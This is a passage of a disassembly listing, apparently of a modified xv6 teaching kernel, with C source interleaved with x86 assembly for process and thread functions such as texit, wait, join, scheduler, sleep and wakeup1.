80104ab3: c7 04 24 6d 8d 10 80 movl $0x80108d6d,(%esp)
80104aba: e8 7e ba ff ff call 8010053d <panic>
80104abf <texit>:
*/
void
texit(void *retval)
{
80104abf: 55 push %ebp
80104ac0: 89 e5 mov %esp,%ebp
80104ac2: 83 ec 28 sub $0x28,%esp
struct proc *p;
int fd;
if(proc == initproc)
80104ac5: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104acc: a1 68 c6 10 80 mov 0x8010c668,%eax
80104ad1: 39 c2 cmp %eax,%edx
80104ad3: 75 0c jne 80104ae1 <texit+0x22>
panic("init exiting");
80104ad5: c7 04 24 60 8d 10 80 movl $0x80108d60,(%esp)
80104adc: e8 5c ba ff ff call 8010053d <panic>
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80104ae1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80104ae8: eb 44 jmp 80104b2e <texit+0x6f>
if(proc->ofile[fd]){
80104aea: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104af0: 8b 55 f0 mov -0x10(%ebp),%edx
80104af3: 83 c2 08 add $0x8,%edx
80104af6: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104afa: 85 c0 test %eax,%eax
80104afc: 74 2c je 80104b2a <texit+0x6b>
fileclose(proc->ofile[fd]);
80104afe: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b04: 8b 55 f0 mov -0x10(%ebp),%edx
80104b07: 83 c2 08 add $0x8,%edx
80104b0a: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104b0e: 89 04 24 mov %eax,(%esp)
80104b11: e8 ba c4 ff ff call 80100fd0 <fileclose>
proc->ofile[fd] = 0;
80104b16: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b1c: 8b 55 f0 mov -0x10(%ebp),%edx
80104b1f: 83 c2 08 add $0x8,%edx
80104b22: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80104b29: 00
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80104b2a: 83 45 f0 01 addl $0x1,-0x10(%ebp)
80104b2e: 83 7d f0 0f cmpl $0xf,-0x10(%ebp)
80104b32: 7e b6 jle 80104aea <texit+0x2b>
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
80104b34: e8 28 e9 ff ff call 80103461 <begin_op>
iput(proc->cwd);
80104b39: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b3f: 8b 40 68 mov 0x68(%eax),%eax
80104b42: 89 04 24 mov %eax,(%esp)
80104b45: e8 dd ce ff ff call 80101a27 <iput>
end_op();
80104b4a: e8 93 e9 ff ff call 801034e2 <end_op>
proc->cwd = 0;
80104b4f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b55: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80104b5c: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104b63: e8 a7 07 00 00 call 8010530f <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80104b68: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b6e: 8b 40 14 mov 0x14(%eax),%eax
80104b71: 89 04 24 mov %eax,(%esp)
80104b74: e8 49 05 00 00 call 801050c2 <wakeup1>
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104b79: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104b80: eb 68 jmp 80104bea <texit+0x12b>
if(p->parent == proc){
80104b82: 8b 45 f4 mov -0xc(%ebp),%eax
80104b85: 8b 50 14 mov 0x14(%eax),%edx
80104b88: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b8e: 39 c2 cmp %eax,%edx
80104b90: 75 51 jne 80104be3 <texit+0x124>
p->parent = initproc;
80104b92: 8b 15 68 c6 10 80 mov 0x8010c668,%edx
80104b98: 8b 45 f4 mov -0xc(%ebp),%eax
80104b9b: 89 50 14 mov %edx,0x14(%eax)
//Kill and free the stacks of the child threads (if any)
if(p->isthread == 1){
80104b9e: 8b 45 f4 mov -0xc(%ebp),%eax
80104ba1: 8b 40 7c mov 0x7c(%eax),%eax
80104ba4: 83 f8 01 cmp $0x1,%eax
80104ba7: 75 22 jne 80104bcb <texit+0x10c>
p->state = UNUSED;
80104ba9: 8b 45 f4 mov -0xc(%ebp),%eax
80104bac: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
kfree(p->kstack);
80104bb3: 8b 45 f4 mov -0xc(%ebp),%eax
80104bb6: 8b 40 08 mov 0x8(%eax),%eax
80104bb9: 89 04 24 mov %eax,(%esp)
80104bbc: e8 b1 de ff ff call 80102a72 <kfree>
p->kstack = 0;
80104bc1: 8b 45 f4 mov -0xc(%ebp),%eax
80104bc4: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
if(p->state == ZOMBIE)
80104bcb: 8b 45 f4 mov -0xc(%ebp),%eax
80104bce: 8b 40 0c mov 0xc(%eax),%eax
80104bd1: 83 f8 05 cmp $0x5,%eax
80104bd4: 75 0d jne 80104be3 <texit+0x124>
wakeup1(initproc);
80104bd6: a1 68 c6 10 80 mov 0x8010c668,%eax
80104bdb: 89 04 24 mov %eax,(%esp)
80104bde: e8 df 04 00 00 call 801050c2 <wakeup1>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104be3: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104bea: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104bf1: 72 8f jb 80104b82 <texit+0xc3>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
80104bf3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bf9: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax)
sched();
80104c00: e8 12 03 00 00 call 80104f17 <sched>
panic("zombie exit");
80104c05: c7 04 24 6d 8d 10 80 movl $0x80108d6d,(%esp)
80104c0c: e8 2c b9 ff ff call 8010053d <panic>
80104c11 <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
80104c11: 55 push %ebp
80104c12: 89 e5 mov %esp,%ebp
80104c14: 83 ec 28 sub $0x28,%esp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
80104c17: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104c1e: e8 ec 06 00 00 call 8010530f <acquire>
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
80104c23: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104c2a: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104c31: e9 9d 00 00 00 jmp 80104cd3 <wait+0xc2>
if(p->parent != proc)
80104c36: 8b 45 f4 mov -0xc(%ebp),%eax
80104c39: 8b 50 14 mov 0x14(%eax),%edx
80104c3c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104c42: 39 c2 cmp %eax,%edx
80104c44: 0f 85 81 00 00 00 jne 80104ccb <wait+0xba>
continue;
havekids = 1;
80104c4a: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
if(p->state == ZOMBIE){
80104c51: 8b 45 f4 mov -0xc(%ebp),%eax
80104c54: 8b 40 0c mov 0xc(%eax),%eax
80104c57: 83 f8 05 cmp $0x5,%eax
80104c5a: 75 70 jne 80104ccc <wait+0xbb>
// Found one.
pid = p->pid;
80104c5c: 8b 45 f4 mov -0xc(%ebp),%eax
80104c5f: 8b 40 10 mov 0x10(%eax),%eax
80104c62: 89 45 ec mov %eax,-0x14(%ebp)
kfree(p->kstack);
80104c65: 8b 45 f4 mov -0xc(%ebp),%eax
80104c68: 8b 40 08 mov 0x8(%eax),%eax
80104c6b: 89 04 24 mov %eax,(%esp)
80104c6e: e8 ff dd ff ff call 80102a72 <kfree>
p->kstack = 0;
80104c73: 8b 45 f4 mov -0xc(%ebp),%eax
80104c76: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
freevm(p->pgdir);
80104c7d: 8b 45 f4 mov -0xc(%ebp),%eax
80104c80: 8b 40 04 mov 0x4(%eax),%eax
80104c83: 89 04 24 mov %eax,(%esp)
80104c86: e8 ae 3a 00 00 call 80108739 <freevm>
p->state = UNUSED;
80104c8b: 8b 45 f4 mov -0xc(%ebp),%eax
80104c8e: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
p->pid = 0;
80104c95: 8b 45 f4 mov -0xc(%ebp),%eax
80104c98: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
p->parent = 0;
80104c9f: 8b 45 f4 mov -0xc(%ebp),%eax
80104ca2: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
p->name[0] = 0;
80104ca9: 8b 45 f4 mov -0xc(%ebp),%eax
80104cac: c6 40 6c 00 movb $0x0,0x6c(%eax)
p->killed = 0;
80104cb0: 8b 45 f4 mov -0xc(%ebp),%eax
80104cb3: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax)
release(&ptable.lock);
80104cba: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104cc1: e8 ab 06 00 00 call 80105371 <release>
return pid;
80104cc6: 8b 45 ec mov -0x14(%ebp),%eax
80104cc9: eb 56 jmp 80104d21 <wait+0x110>
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent != proc)
continue;
80104ccb: 90 nop
acquire(&ptable.lock);
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104ccc: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104cd3: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104cda: 0f 82 56 ff ff ff jb 80104c36 <wait+0x25>
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
80104ce0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80104ce4: 74 0d je 80104cf3 <wait+0xe2>
80104ce6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104cec: 8b 40 24 mov 0x24(%eax),%eax
80104cef: 85 c0 test %eax,%eax
80104cf1: 74 13 je 80104d06 <wait+0xf5>
release(&ptable.lock);
80104cf3: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104cfa: e8 72 06 00 00 call 80105371 <release>
return -1;
80104cff: b8 ff ff ff ff mov $0xffffffff,%eax
80104d04: eb 1b jmp 80104d21 <wait+0x110>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
80104d06: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104d0c: c7 44 24 04 80 39 11 movl $0x80113980,0x4(%esp)
80104d13: 80
80104d14: 89 04 24 mov %eax,(%esp)
80104d17: e8 0b 03 00 00 call 80105027 <sleep>
}
80104d1c: e9 02 ff ff ff jmp 80104c23 <wait+0x12>
}
80104d21: c9 leave
80104d22: c3 ret
80104d23 <join>:
int join(int pid, void **stack, void **retval);
*/
int
join(int joinPid, void **stack, void **retval)
{
80104d23: 55 push %ebp
80104d24: 89 e5 mov %esp,%ebp
80104d26: 83 ec 28 sub $0x28,%esp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
80104d29: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104d30: e8 da 05 00 00 call 8010530f <acquire>
for(;;){
havekids = 0;
80104d35: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
//iterate through the ptable to find zombies
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104d3c: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104d43: e9 c9 00 00 00 jmp 80104e11 <join+0xee>
// only wait for the child thread, but not the child process of the pid given
if(p->parent != proc || p->isthread != 1 || p->parent->pid == joinPid)
80104d48: 8b 45 f4 mov -0xc(%ebp),%eax
80104d4b: 8b 50 14 mov 0x14(%eax),%edx
80104d4e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104d54: 39 c2 cmp %eax,%edx
80104d56: 0f 85 ad 00 00 00 jne 80104e09 <join+0xe6>
80104d5c: 8b 45 f4 mov -0xc(%ebp),%eax
80104d5f: 8b 40 7c mov 0x7c(%eax),%eax
80104d62: 83 f8 01 cmp $0x1,%eax
80104d65: 0f 85 9e 00 00 00 jne 80104e09 <join+0xe6>
80104d6b: 8b 45 f4 mov -0xc(%ebp),%eax
80104d6e: 8b 40 14 mov 0x14(%eax),%eax
80104d71: 8b 40 10 mov 0x10(%eax),%eax
80104d74: 3b 45 08 cmp 0x8(%ebp),%eax
80104d77: 0f 84 8c 00 00 00 je 80104e09 <join+0xe6>
continue;
havekids = 1;
80104d7d: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
//at this point, p is the process of the zombie
if(p->state == ZOMBIE){
80104d84: 8b 45 f4 mov -0xc(%ebp),%eax
80104d87: 8b 40 0c mov 0xc(%eax),%eax
80104d8a: 83 f8 05 cmp $0x5,%eax
80104d8d: 75 7b jne 80104e0a <join+0xe7>
// Found one, free its stack, make unused, etc
pid = p->pid;
80104d8f: 8b 45 f4 mov -0xc(%ebp),%eax
80104d92: 8b 40 10 mov 0x10(%eax),%eax
80104d95: 89 45 ec mov %eax,-0x14(%ebp)
kfree(p->kstack);
80104d98: 8b 45 f4 mov -0xc(%ebp),%eax
80104d9b: 8b 40 08 mov 0x8(%eax),%eax
80104d9e: 89 04 24 mov %eax,(%esp)
80104da1: e8 cc dc ff ff call 80102a72 <kfree>
p->kstack = 0;
80104da6: 8b 45 f4 mov -0xc(%ebp),%eax
80104da9: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
p->state = UNUSED;
80104db0: 8b 45 f4 mov -0xc(%ebp),%eax
80104db3: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
p->pid = 0;
80104dba: 8b 45 f4 mov -0xc(%ebp),%eax
80104dbd: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
p->parent = 0;
80104dc4: 8b 45 f4 mov -0xc(%ebp),%eax
80104dc7: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
p->name[0] = 0;
80104dce: 8b 45 f4 mov -0xc(%ebp),%eax
80104dd1: c6 40 6c 00 movb $0x0,0x6c(%eax)
p->killed = 0;
80104dd5: 8b 45 f4 mov -0xc(%ebp),%eax
80104dd8: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax)
release(&ptable.lock);
80104ddf: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104de6: e8 86 05 00 00 call 80105371 <release>
//copy address of return value into retval parameter
*(int*)retval = pid;
80104deb: 8b 45 10 mov 0x10(%ebp),%eax
80104dee: 8b 55 ec mov -0x14(%ebp),%edx
80104df1: 89 10 mov %edx,(%eax)
//copy address of user stack into parameter
*(int*)stack = proc->stack;
80104df3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104df9: 8b 90 80 00 00 00 mov 0x80(%eax),%edx
80104dff: 8b 45 0c mov 0xc(%ebp),%eax
80104e02: 89 10 mov %edx,(%eax)
return pid;
80104e04: 8b 45 ec mov -0x14(%ebp),%eax
80104e07: eb 70 jmp 80104e79 <join+0x156>
havekids = 0;
//iterate through the ptable to find zombies
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
// only wait for the child thread, but not the child process of the pid given
if(p->parent != proc || p->isthread != 1 || p->parent->pid == joinPid)
continue;
80104e09: 90 nop
acquire(&ptable.lock);
for(;;){
havekids = 0;
//iterate through the ptable to find zombies
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104e0a: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104e11: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104e18: 0f 82 2a ff ff ff jb 80104d48 <join+0x25>
return pid;
}
}
// No point waiting if we don't have any children thread.
if(!havekids || proc->killed){
80104e1e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80104e22: 74 0d je 80104e31 <join+0x10e>
80104e24: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104e2a: 8b 40 24 mov 0x24(%eax),%eax
80104e2d: 85 c0 test %eax,%eax
80104e2f: 74 2d je 80104e5e <join+0x13b>
release(&ptable.lock);
80104e31: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104e38: e8 34 05 00 00 call 80105371 <release>
//copy address of return value into retval parameter
*(int*)retval = -1;
80104e3d: 8b 45 10 mov 0x10(%ebp),%eax
80104e40: c7 00 ff ff ff ff movl $0xffffffff,(%eax)
//copy address of user stack into parameter
*(int*)stack = proc->stack;
80104e46: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104e4c: 8b 90 80 00 00 00 mov 0x80(%eax),%edx
80104e52: 8b 45 0c mov 0xc(%ebp),%eax
80104e55: 89 10 mov %edx,(%eax)
return -1;
80104e57: b8 ff ff ff ff mov $0xffffffff,%eax
80104e5c: eb 1b jmp 80104e79 <join+0x156>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
80104e5e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104e64: c7 44 24 04 80 39 11 movl $0x80113980,0x4(%esp)
80104e6b: 80
80104e6c: 89 04 24 mov %eax,(%esp)
80104e6f: e8 b3 01 00 00 call 80105027 <sleep>
}
80104e74: e9 bc fe ff ff jmp 80104d35 <join+0x12>
}
80104e79: c9 leave
80104e7a: c3 ret
80104e7b <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
80104e7b: 55 push %ebp
80104e7c: 89 e5 mov %esp,%ebp
80104e7e: 83 ec 28 sub $0x28,%esp
struct proc *p;
for(;;){
// Enable interrupts on this processor.
sti();
80104e81: e8 bf f4 ff ff call 80104345 <sti>
// Loop over process table looking for process to run.
acquire(&ptable.lock);
80104e86: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104e8d: e8 7d 04 00 00 call 8010530f <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104e92: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104e99: eb 62 jmp 80104efd <scheduler+0x82>
if(p->state != RUNNABLE)
80104e9b: 8b 45 f4 mov -0xc(%ebp),%eax
80104e9e: 8b 40 0c mov 0xc(%eax),%eax
80104ea1: 83 f8 03 cmp $0x3,%eax
80104ea4: 75 4f jne 80104ef5 <scheduler+0x7a>
continue;
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
proc = p;
80104ea6: 8b 45 f4 mov -0xc(%ebp),%eax
80104ea9: 65 a3 04 00 00 00 mov %eax,%gs:0x4
switchuvm(p);
80104eaf: 8b 45 f4 mov -0xc(%ebp),%eax
80104eb2: 89 04 24 mov %eax,(%esp)
80104eb5: e8 08 34 00 00 call 801082c2 <switchuvm>
p->state = RUNNING;
80104eba: 8b 45 f4 mov -0xc(%ebp),%eax
80104ebd: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax)
swtch(&cpu->scheduler, proc->context);
80104ec4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104eca: 8b 40 1c mov 0x1c(%eax),%eax
80104ecd: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80104ed4: 83 c2 04 add $0x4,%edx
80104ed7: 89 44 24 04 mov %eax,0x4(%esp)
80104edb: 89 14 24 mov %edx,(%esp)
80104ede: e8 21 09 00 00 call 80105804 <swtch>
switchkvm();
80104ee3: e8 bd 33 00 00 call 801082a5 <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80104ee8: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80104eef: 00 00 00 00
80104ef3: eb 01 jmp 80104ef6 <scheduler+0x7b>
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->state != RUNNABLE)
continue;
80104ef5: 90 nop
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104ef6: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104efd: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104f04: 72 95 jb 80104e9b <scheduler+0x20>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
80104f06: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104f0d: e8 5f 04 00 00 call 80105371 <release>
}
80104f12: e9 6a ff ff ff jmp 80104e81 <scheduler+0x6>
80104f17 <sched>:
// Enter scheduler. Must hold only ptable.lock
// and have changed proc->state.
void
sched(void)
{
80104f17: 55 push %ebp
80104f18: 89 e5 mov %esp,%ebp
80104f1a: 83 ec 28 sub $0x28,%esp
int intena;
if(!holding(&ptable.lock))
80104f1d: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104f24: e8 04 05 00 00 call 8010542d <holding>
80104f29: 85 c0 test %eax,%eax
80104f2b: 75 0c jne 80104f39 <sched+0x22>
panic("sched ptable.lock");
80104f2d: c7 04 24 79 8d 10 80 movl $0x80108d79,(%esp)
80104f34: e8 04 b6 ff ff call 8010053d <panic>
if(cpu->ncli != 1)
80104f39: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f3f: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80104f45: 83 f8 01 cmp $0x1,%eax
80104f48: 74 0c je 80104f56 <sched+0x3f>
panic("sched locks");
80104f4a: c7 04 24 8b 8d 10 80 movl $0x80108d8b,(%esp)
80104f51: e8 e7 b5 ff ff call 8010053d <panic>
if(proc->state == RUNNING)
80104f56: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104f5c: 8b 40 0c mov 0xc(%eax),%eax
80104f5f: 83 f8 04 cmp $0x4,%eax
80104f62: 75 0c jne 80104f70 <sched+0x59>
panic("sched running");
80104f64: c7 04 24 97 8d 10 80 movl $0x80108d97,(%esp)
80104f6b: e8 cd b5 ff ff call 8010053d <panic>
if(readeflags()&FL_IF)
80104f70: e8 bb f3 ff ff call 80104330 <readeflags>
80104f75: 25 00 02 00 00 and $0x200,%eax
80104f7a: 85 c0 test %eax,%eax
80104f7c: 74 0c je 80104f8a <sched+0x73>
panic("sched interruptible");
80104f7e: c7 04 24 a5 8d 10 80 movl $0x80108da5,(%esp)
80104f85: e8 b3 b5 ff ff call 8010053d <panic>
intena = cpu->intena;
80104f8a: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f90: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80104f96: 89 45 f4 mov %eax,-0xc(%ebp)
swtch(&proc->context, cpu->scheduler);
80104f99: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f9f: 8b 40 04 mov 0x4(%eax),%eax
80104fa2: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104fa9: 83 c2 1c add $0x1c,%edx
80104fac: 89 44 24 04 mov %eax,0x4(%esp)
80104fb0: 89 14 24 mov %edx,(%esp)
80104fb3: e8 4c 08 00 00 call 80105804 <swtch>
cpu->intena = intena;
80104fb8: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104fbe: 8b 55 f4 mov -0xc(%ebp),%edx
80104fc1: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
}
80104fc7: c9 leave
80104fc8: c3 ret
80104fc9 <yield>:
// Give up the CPU for one scheduling round.
void
yield(void)
{
80104fc9: 55 push %ebp
80104fca: 89 e5 mov %esp,%ebp
80104fcc: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80104fcf: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104fd6: e8 34 03 00 00 call 8010530f <acquire>
proc->state = RUNNABLE;
80104fdb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104fe1: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80104fe8: e8 2a ff ff ff call 80104f17 <sched>
release(&ptable.lock);
80104fed: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104ff4: e8 78 03 00 00 call 80105371 <release>
}
80104ff9: c9 leave
80104ffa: c3 ret
80104ffb <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80104ffb: 55 push %ebp
80104ffc: 89 e5 mov %esp,%ebp
80104ffe: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80105001: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105008: e8 64 03 00 00 call 80105371 <release>
if (first) {
8010500d: a1 20 c0 10 80 mov 0x8010c020,%eax
80105012: 85 c0 test %eax,%eax
80105014: 74 0f je 80105025 <forkret+0x2a>
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80105016: c7 05 20 c0 10 80 00 movl $0x0,0x8010c020
8010501d: 00 00 00
initlog();
80105020: e8 2f e2 ff ff call 80103254 <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80105025: c9 leave
80105026: c3 ret
80105027 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80105027: 55 push %ebp
80105028: 89 e5 mov %esp,%ebp
8010502a: 83 ec 18 sub $0x18,%esp
if(proc == 0)
8010502d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105033: 85 c0 test %eax,%eax
80105035: 75 0c jne 80105043 <sleep+0x1c>
panic("sleep");
80105037: c7 04 24 b9 8d 10 80 movl $0x80108db9,(%esp)
8010503e: e8 fa b4 ff ff call 8010053d <panic>
if(lk == 0)
80105043: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80105047: 75 0c jne 80105055 <sleep+0x2e>
panic("sleep without lk");
80105049: c7 04 24 bf 8d 10 80 movl $0x80108dbf,(%esp)
80105050: e8 e8 b4 ff ff call 8010053d <panic>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80105055: 81 7d 0c 80 39 11 80 cmpl $0x80113980,0xc(%ebp)
8010505c: 74 17 je 80105075 <sleep+0x4e>
acquire(&ptable.lock); //DOC: sleeplock1
8010505e: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80105065: e8 a5 02 00 00 call 8010530f <acquire>
release(lk);
8010506a: 8b 45 0c mov 0xc(%ebp),%eax
8010506d: 89 04 24 mov %eax,(%esp)
80105070: e8 fc 02 00 00 call 80105371 <release>
}
// Go to sleep.
proc->chan = chan;
80105075: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010507b: 8b 55 08 mov 0x8(%ebp),%edx
8010507e: 89 50 20 mov %edx,0x20(%eax)
proc->state = SLEEPING;
80105081: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105087: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
8010508e: e8 84 fe ff ff call 80104f17 <sched>
// Tidy up.
proc->chan = 0;
80105093: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105099: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
801050a0: 81 7d 0c 80 39 11 80 cmpl $0x80113980,0xc(%ebp)
801050a7: 74 17 je 801050c0 <sleep+0x99>
release(&ptable.lock);
801050a9: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801050b0: e8 bc 02 00 00 call 80105371 <release>
acquire(lk);
801050b5: 8b 45 0c mov 0xc(%ebp),%eax
801050b8: 89 04 24 mov %eax,(%esp)
801050bb: e8 4f 02 00 00 call 8010530f <acquire>
}
}
801050c0: c9 leave
801050c1: c3 ret
801050c2 <wakeup1>:
//PAGEBREAK!
// Wake up all processes sleeping on chan.
// The ptable lock must be held.
static void
wakeup1(void *chan)
{
801050c2: 55 push %ebp
801050c3: 89 e5 mov %esp,%ebp
801050c5: 83 ec 10 sub $0x10,%esp
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801050c8: c7 45 fc b4 39 11 80 movl $0x801139b4,-0x4(%ebp)
801050cf: eb 27 jmp 801050f8 <wakeup1+0x36>
if(p->state == SLEEPING && p->chan == chan)
801050d1: 8b 45 fc mov -0x4(%ebp),%eax
801050d4: 8b 40 0c mov 0xc(%eax),%eax
801050d7: 83 f8 02 cmp $0x2,%eax
801050da: 75 15 jne 801050f1 <wakeup1+0x2f>
801050dc: 8b 45 fc mov -0x4(%ebp),%eax
801050df: 8b 40 20 mov 0x20(%eax),%eax
801050e2: 3b 45 08 cmp 0x8(%ebp),%eax
801050e5: 75 0a jne 801050f1 <wakeup1+0x2f>
p->state = RUNNABLE;
801050e7: 8b 45 fc mov -0x4(%ebp),%eax
801050ea: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801050f1: 81 45 fc 84 00 00 00 addl $0x84,-0x4(%ebp)
